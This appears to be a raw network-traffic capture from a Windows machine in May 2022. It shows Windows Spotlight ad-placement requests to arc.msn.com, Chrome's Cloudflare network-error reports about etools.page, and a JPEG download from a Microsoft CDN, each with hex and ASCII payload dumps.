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2022-05-13 14:41:04 UTC 2478 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&ctry=US&time=20220513T234102Z&lc=en-US&pl=en-US&i
dtp=mid&uid=4388269c-b420-4134-ac19-bc7ca8a19ac1&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=49fe06eee9094f39b23d0ff04432b0d6&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1513821&metered=false&nettype=ethernet&npid=sc-
338389&oemName=qiylvt%2C%20Inc.&oemid=qiylvt%2C%20Inc.&ossku=Professional&smBiosDm=qiylvt7%2C1&tl=2&
tsu=1513821&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32319&sc=6
X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAZJq+lu95X7pNl6HQ9fa+YxtBqwDr7SK
dflzrXvKprdVOFeODzaURSY69A9K7+Bh90iZzIqEylUgcEC+HE3h/8boVCtd2LJO4T+lgJc26YCov3bKu1SZgg1kr9
f18h4YW5Psx76VY/SpqcVtx+7hmr5tBgMl5lmepYtJkq6ArxDmrFbOshxLsmN4rO3/+jrIyWE8rO980T3j/IQwIB7g
nucdZl+WB0FH1O4ENPpYjjBidRtVlYF4BJna2dYIB3tC4EuHR4GlDlYbeU+KwNyGtt7hTRfaYYIhWemlu31a9jXEdc
X8sRCOjw/MUMN0utOxXn1LLwFK5kAFcnrwuwQ7sgUDZgAACBkhoqcRMLQeqAHjJ/7FO2MPToBxOYguFKLY8gu7/heF
By7XpbFoqqS0nGCqL8p5aTF6WbHpMpDO4tiCTBQBIEkqOmjvFzn39ALsa4bXw3hzEHuJz2Z86TFY5vCFdsY9r4V02v
AXuIMUNiEDvsaUvPqGDbl9Lm56bv4AREYwUoa8KoLjfL/065Hk9ebwJ+YqGeQQ8cxrVK7/xM4FVBhbn6SxWZ9AeU5y
yPeJ+pif50aorg8NfH446wuJSbMupNp40b4sd1DNHhagxFS9r4f9lhSMN2EuAredyTPt0//723p10X13TwmQEivovE
OxEikm1lwttnlx3fgtqlqcpNwtfQuXgkooXc4G06DNbUkvVX5KDG4aEkZb5uk5GXYaTmwr2wUSPxoX1aeCdus6Za8X
yuR+/kIYHeEceucuETbztXXyd/1oR5WgzQblfCCrVp8shz8VQJmoB+auCjb9iRlXbYWeigRilGAiVHndg5+MGuFnS9
0BmyOGDdMdhVAPb2XQciHH1sQLsnFq0TOecWBVznnvGvq2KctGzcJHDNP9W3RRvIf2Fqt0t3gKWzvizC
WxwRCu1QE=&p=
Cache-Control: no-cache
MS-CV: 51NbriJLSEy2kRtB.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive

2022-05-13 14:41:04 UTC 2480 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 3047
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"1,P425116219-T700333446-C128000000001627409+B+P10+S1"},{"OPTOUTST
ATE":"256"}]
X-ARC-SIG: rJnak3bnJyArLw2wErEy7deLLhn9B567Rt0HDFw98JMTWW4tQYoH9o9n5ICw38bxp3GrTL6McKCRVxx
O8Zr76qJr6VBXMS8EtZ5CV6vm4Ju1MqNhXVhINYukbstwiSWXSQbB2GtZX8PqMe8OyqlB6QjXJjri41vdHKmQSHK79
fIe2LOA7q8Kk6/ruO+C25l1dQdf9bcUZn9ud17KtxDjrnNxbmYAFBJ6ovyMwIl1sJ9SQK3rEl/7kjCnKLmkAwXFgH4
m//8hV11OErv5spmLGgqtryZwunT4OrCsI3Ii397YIBQ+GvmksSomMq2MACpE9c9k/m7Pejq1Ky+sd5h93A==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Fri, 13 May 2022 14:41:03 GMT
Connection: close

2022-05-13 14:41:04 UTC 2481 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 
22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 
72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 6
4 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 
5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 
66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 
5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedCont
ent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

92 192.168.2.3 49912 35.190.80.1 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:41:23 UTC 2488 OUT OPTIONS /report/v3?s=95MAPGmhKfBJjSxMmqDJPtiAL6eg72D3bI%2BCaf1kyarI7KW7ucndN6WaU32DvrX7dyJ
v3JqORNP11YtVIE8hX%2FpvuKPG7wPfXtRCltHfhVcUoy9cpCsXL5MAmw158Q%3D%3D HTTP/1.1
Host: a.nel.cloudflare.com
Connection: keep-alive
Origin: https://etools.page
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
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2022-05-13 14:41:24 UTC 2488 IN HTTP/1.1 200 OK
content-length: 0
access-control-max-age: 86400
access-control-allow-methods: POST, OPTIONS
access-control-allow-origin: *
access-control-allow-headers: content-length, content-type
date: Fri, 13 May 2022 14:41:23 GMT
Via: 1.1 google
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
Connection: close

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

93 192.168.2.3 49913 35.190.80.1 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:41:24 UTC 2489 OUT POST /report/v3?s=95MAPGmhKfBJjSxMmqDJPtiAL6eg72D3bI%2BCaf1kyarI7KW7ucndN6WaU32DvrX7dyJv3J
qORNP11YtVIE8hX%2FpvuKPG7wPfXtRCltHfhVcUoy9cpCsXL5MAmw158Q%3D%3D HTTP/1.1
Host: a.nel.cloudflare.com
Connection: keep-alive
Content-Length: 511
Content-Type: application/reports+json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-13 14:41:24 UTC 2489 OUT Data Raw: 5b 7b 22 61 67 65 22 3a 34 33 34 32 38 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 
3a 32 38 36 2c 22 6d 65 74 68 6f 64 22 3a 22 50 4f 53 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 
6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 
73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 38 38 2e 
31 31 34 2e 39 36 2e 31 30 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 35 2c 22 74 79 70 65 22 3a 22 68 74 
74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 
22 68 74 74 70 73 3a 2f 2f 65 74 6f 6f 6c 73 2e 70 61 67 65 
Data Ascii: [{"age":43428,"body":{"elapsed_time":286,"method":"POST","phase":"application","protocol":"http/1.1","referr
er":"","sampling_fraction":1.0,"server_ip":"188.114.96.10","status_code":405,"type":"http.error"},"type":"network-error"
,"url":"https://etools.page

2022-05-13 14:41:24 UTC 2490 IN HTTP/1.1 200 OK
content-length: 0
date: Fri, 13 May 2022 14:41:23 GMT
Via: 1.1 google
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

94 192.168.2.3 49918 20.82.210.154 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:41:55 UTC 2490 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&ctry=US&time=20220513T234153Z&lc=en-US&pl=en-US&i
dtp=mid&uid=4388269c-b420-4134-ac19-bc7ca8a19ac1&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=8282445926a54eab8f11499a93c8d1de&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1513822&metered=false&nettype=ethernet&npid=sc-
338388&oemName=qiylvt%2C%20Inc.&oemid=qiylvt%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=qiylvt7%2C
1&tl=2&tsu=1513822&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32319&sc=6
X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAWTgoqHjO5aJbbzxFht334Zi+ziJh9kN
kHxTMAW6wtF8aT8VakbVgtRR/7W+laAsHqlMKDwm+p01IX+B/OjNb0juLQJvw3HBJDnAHKRkOzWE9DasBXVemvUooz
ZcpwSM9/V3K+skDtv6fcTB23W5eFQ6vRki6EXxDZrj4geDDVMKQqesrDw/m6p+Rmt/p7ozRCt90JsBPSwVYD9zAlHQ
Td7hbi3G07Qm04GvvISHqHcJ2uLSsxENNgLhhGbt2H99JOPtu8RT/qNDqhtnk/ZTocudbe5SKXbrwv/aVQZmnmAQ+K
P4CzFFc5paxkNeOlkAFvCpxCmKfiUhYvQmlf9xFaQDZgAACPo6XBZf8pxTqAFib3/swDuq7KiKPCPTeUiX7wfesfMj
GbdxkjgDco+jHKnPQJXfhq43l3e222tPt31AWjz6zrKhmLI7kNrjydSqhoPDI3lkbHbDQmJ9ZBgIrhWJHIZxEgr7e/
7JMBv0pWtbfSUJs5lUdkk4dRDEepE6NaYpS+/jf6a/qG4p7qH2S0SCKEHzuKm/aIukHQySnMqV/3TT04n2iLi1Lsgo
gOdkx+2vQzUKaAbgES/fMEivaZtlL5auI7Tv/WJpGwyZAP28cVkW8Vb8CBvPL2VvkJiOm+zSGuu0uLEinpghsWiCMK
mEZbnSIKvyjhHfnaTL5/SWfjy3Wg29TTTKK84wBYYyk4wsAeVIOp9Q/b2Vh9M6PDmhCcyWRvMgC5Z8y7S3QVNJxynj
2d/47RB+uEyui9wKpdIB6dqWe5pJ890UJDV4Fz1gvxcu48mEVJNyJWuLfdRijMavI3XRD0I6vUj0zDgC2U5o2IUDzu
J5cpRk+MjDzh80ivFbCw0J+BxBi7sBja53g+il1g6/ypCnd/N2wG6VVV9iXH/QyZYyX16m/zmA1CvvAGudVhmX1QE=&p=
Cache-Control: no-cache
MS-CV: He1LaEZc906IvoJg.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive

2022-05-13 14:41:55 UTC 2494 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 4484
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"1,P400091688-T700129702-C128000000000402926+B+P20+S1"},{"OPTOUTST
ATE":"256"}]
X-ARC-SIG: i9ahA1XPMQiCNJReWOrJZpVYFk4oi6rm04YuITW6hp23cxalOBYgFouXXqCZoNHThYRMvf7URppDSLN
w62VUuz4a1AKY73hM780FaPi4q2pxSREFTDCqrKCIyo1XaV2H8r/VlvFdC70aVYyWJOc3qQih3A3pXHANyr6g3BzxU
kWXHHcSnjW57e7QSN1GWJdNG/5pkWcOIyhl3oUPcy5hKRwf0fhla8R2Z+CC4M+T1QI56rAivevrDVuTPSyn1jAKJfh
VRfOPI1buhfltv6PNULLrjG8Do7knXSBQkwwT5u0az2x/nL3V6t63gZz78pGTGFc4IbpPNKYakyeJL/jFTQ==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Fri, 13 May 2022 14:41:54 GMT
Connection: close

2022-05-13 14:41:55 UTC 2495 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 
22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 
72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 6
4 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 
5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 
66 65 73 74 5c 22 3a 7b 5c 22 74 65 6d 70 6c 61 74 65 54 79 70 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 74 65 
78 74 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 74 
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedCont
ent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"templateType\":{\"type\":\"text\"},\"onRender\":
{\"t
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95 192.168.2.3 49919 20.82.210.154 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
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Direction Data
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2022-05-13 14:41:55 UTC 2492 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&ctry=US&time=20220513T234153Z&lc=en-US&pl=en-US&i
dtp=mid&uid=4388269c-b420-4134-ac19-bc7ca8a19ac1&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=5f8fb2a985294cc2931cfee1fb79b597&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1513822&metered=false&nettype=ethernet&npid=sc-
338387&oemName=qiylvt%2C%20Inc.&oemid=qiylvt%2C%20Inc.&ossku=Professional&rver=2&sc-mode=0&smBiosDm=
qiylvt7%2C1&tl=2&tsu=1513822&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32319&sc=6
X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAWTgoqHjO5aJbbzxFht334Zi+ziJh9kN
kHxTMAW6wtF8aT8VakbVgtRR/7W+laAsHqlMKDwm+p01IX+B/OjNb0juLQJvw3HBJDnAHKRkOzWE9DasBXVemvUooz
ZcpwSM9/V3K+skDtv6fcTB23W5eFQ6vRki6EXxDZrj4geDDVMKQqesrDw/m6p+Rmt/p7ozRCt90JsBPSwVYD9zAlHQ
Td7hbi3G07Qm04GvvISHqHcJ2uLSsxENNgLhhGbt2H99JOPtu8RT/qNDqhtnk/ZTocudbe5SKXbrwv/aVQZmnmAQ+K
P4CzFFc5paxkNeOlkAFvCpxCmKfiUhYvQmlf9xFaQDZgAACPo6XBZf8pxTqAFib3/swDuq7KiKPCPTeUiX7wfesfMj
GbdxkjgDco+jHKnPQJXfhq43l3e222tPt31AWjz6zrKhmLI7kNrjydSqhoPDI3lkbHbDQmJ9ZBgIrhWJHIZxEgr7e/
7JMBv0pWtbfSUJs5lUdkk4dRDEepE6NaYpS+/jf6a/qG4p7qH2S0SCKEHzuKm/aIukHQySnMqV/3TT04n2iLi1Lsgo
gOdkx+2vQzUKaAbgES/fMEivaZtlL5auI7Tv/WJpGwyZAP28cVkW8Vb8CBvPL2VvkJiOm+zSGuu0uLEinpghsWiCMK
mEZbnSIKvyjhHfnaTL5/SWfjy3Wg29TTTKK84wBYYyk4wsAeVIOp9Q/b2Vh9M6PDmhCcyWRvMgC5Z8y7S3QVNJxynj
2d/47RB+uEyui9wKpdIB6dqWe5pJ890UJDV4Fz1gvxcu48mEVJNyJWuLfdRijMavI3XRD0I6vUj0zDgC2U5o2IUDzu
J5cpRk+MjDzh80ivFbCw0J+BxBi7sBja53g+il1g6/ypCnd/N2wG6VVV9iXH/QyZYyX16m/zmA1CvvAGudVhmX1QE=&p=
Cache-Control: no-cache
MS-CV: He1LaEZc906IvoJg.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive

2022-05-13 14:41:55 UTC 2499 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 24719
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"3,P425462535-T700374422-C128000000003097149+B+P80+S1,P425535111-T
700378462-C128000000003221669+B+P60+S2,P425119424-T700340276-C128000000002730089+B+P20+S3"},
{"BATCH_REDIRECT_STORE":"BWW_128000000003097149_EN-US+P0+S0"},{"BATCH_REDIRECT_STORE":"B
WW_128000000003221669_EN-US+P0+S0"},{"BATCH_REDIRECT_STORE":"BWW_128000000002730089_EN-US+
P0+S0"},{"OPTOUTSTATE":"256"}]
X-ARC-SIG: hWfEHHzc8PgfTKz4+i7Z1Pdx4yGp5UbdnDiSW7oXe0QRYwRLD/HDyh4jbjGfkdc6FOehR+aknTdVDYn
pkbB1cxwc3onQD4Ir1XzXA8NI2ALMktWFdgn+MabVO7qH0+87MT7Lw7ePsCbGOLa4AxyVc4O0WwuPkrLfWTCLjpd1B
ZgARWBxaAH50BxuFMNpP5qvkaUR93mN3cIEXUcfriKO++0DMlt2PuG72pB+wplRu0gEa6mjiLWxuDFZLWquHvlQIMi
96LoVBOEJjaWr1zuFvXt2YOgdytdUlIBK0mhQsP7lA3HPaC5VpOspbjPwr94/9NkDYc3xC++vpiMRq2KvrA==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Fri, 13 May 2022 14:41:55 GMT
Connection: close

2022-05-13 14:41:55 UTC 2501 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 
22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 
72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 6
4 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 
5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 
65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 
49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedCont
ent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\
":\"ima

2022-05-13 14:41:55 UTC 2515 IN Data Raw: 7b 44 41 54 45 54 49 4d 45 7d 26 53 4c 4f 54 3d 32 26 52 45 51 54 3d 32 30 32 32 30 35 31 33 54 31 34 34 
31 35 35 26 4d 41 5f 53 63 6f 72 65 3d 32 26 50 45 52 53 49 44 3d 44 42 44 45 31 33 44 43 36 39 37 46 37 31 38 34 36 
41 39 39 30 43 44 46 44 43 30 31 36 46 42 44 26 47 4c 4f 42 41 4c 44 45 56 49 43 45 49 44 3d 36 37 35 35 34 33 32 30 3
0 34 36 36 37 34 33 35 26 4c 4f 43 41 4c 49 44 3d 77 3a 34 37 32 44 43 36 30 30 2d 46 45 41 42 2d 45 37 46 38 2d 37 
32 30 44 2d 31 45 33 33 46 30 30 46 44 31 45 37 26 44 53 5f 45 56 54 49 44 3d 63 61 34 36 61 34 61 65 65 33 36 30 34 
37 63 34 39 65 66 61 32 61 65 37 30 64 62 31 33 65 39 64 26 42 43 4e 54 3d 31 26 50 47 3d 50 43 30 30 30 50 30 46 52 
35 2e 30 30 30 30 30 30 30 49 52 53 26 55 4e 49 44 3d 33 33 38 33 38 37 26 
Data Ascii: {DATETIME}&SLOT=2&REQT=20220513T144155&MA_Score=2&PERSID=DBDE13DC697F71846A990
CDFDC016FBD&GLOBALDEVICEID=6755432004667435&LOCALID=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7
&DS_EVTID=ca46a4aee36047c49efa2ae70db13e9d&BCNT=1&PG=PC000P0FR5.0000000IRS&UNID=338387&

Timestamp
kBytes
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96 192.168.2.3 49921 80.67.82.235 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:42:07 UTC 2525 OUT GET /cms/api/am/imageFileData/RE4NUV2?ver=7773 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

2022-05-13 14:42:07 UTC 2626 IN HTTP/1.1 200 OK
Content-Type: image/jpeg
Access-Control-Allow-Origin: *
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4NUV2?ver=7773
Last-Modified: Sun, 08 May 2022 06:00:41 GMT
X-Source-Length: 612261
X-Datacenter: northeu
X-ActivityId: b64671c3-805e-479c-b51a-77f1b3c25565
Timing-Allow-Origin: *
X-Frame-Options: DENY
X-ResizerVersion: 1.0
Content-Length: 612261
Cache-Control: public, max-age=357659
Expires: Tue, 17 May 2022 18:03:06 GMT
Date: Fri, 13 May 2022 14:42:07 GMT
Connection: close

2022-05-13 14:42:07 UTC 2626 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 
03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 
15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 
14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 
14 14 14 14 14 ff c0 00 11 08 07 80 04 38 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 
00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 
02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 
Data Ascii: JFIF``CC8"}!1AQa"q2

2022-05-13 14:42:07 UTC 2658 IN Data Raw: 79 71 bb ff 00 d3 3f 9d de 9b 70 d1 45 fe 90 be 67 df de 9e 67 f7 a9 8d dd 95 ee 19 6e 3c bd be 5c ef f7 df e4 
ab 1f bd 5f de 37 97 02 2e e4 f2 ff 00 f4 2a 15 bf 77 f3 79 68 cb ff 00 2d 37 fd fa 6f 9d e5 fe f2 19 23 77 5d bf bb 93 f5 a1 
be c5 32 f4 3b 62 8e 46 5f fe cd 3e b4 db 59 bf 7f e5 c9 f7 db e4 f3 2a 38 f6 b5 af cb 26 cf f8 1d 49 6a cb 2c ff 00 34 71 f9 
bf c1 1e cd ff 00 ad 40 87 46 b3 f9 92 43 1c 9b d1 93 fd 5f dc d9 45 47 b9 65 82 7d df 3f ce bf ea fe fe da 28 26 c5 3d aa 
be 5a f9 9f ba 54 ff 00 96 9f dd f4 a8 ee 26 6b 58 e0 8e 3f 9d f7 fc 91 c9 f7 d3 fe fa a3 ef 7e f1 7f d4 b7 fc b4 8f fc 29 d1 c9 
f6 89 23 93 cc 92 0f bd be 3f ef fb 1c d5 0e 4c 9a 19 99 7c c8 d7 f8 be ff 00 98 ff 00 27 fc 04 f7 35 34 8d ba 4d bf bb 77 d9 
f3 ff 00 80 ff 00 6b d6 
Data Ascii: yq?pEggn<\_7.*wyh-7o#w]2;bF_>Y*8&Ij,4q@FC_EGe}?(&=ZT&kX?~)#?L|'54Mwk

2022-05-13 14:42:07 UTC 2674 IN Data Raw: 67 de 9b 1c 71 7e ee 66 92 48 37 3e c7 92 90 90 2a fe ef 6f 99 1f ef 5f 7f 97 23 fc 9b 68 8d 5a 2f 31 9b e7 fe 0f 
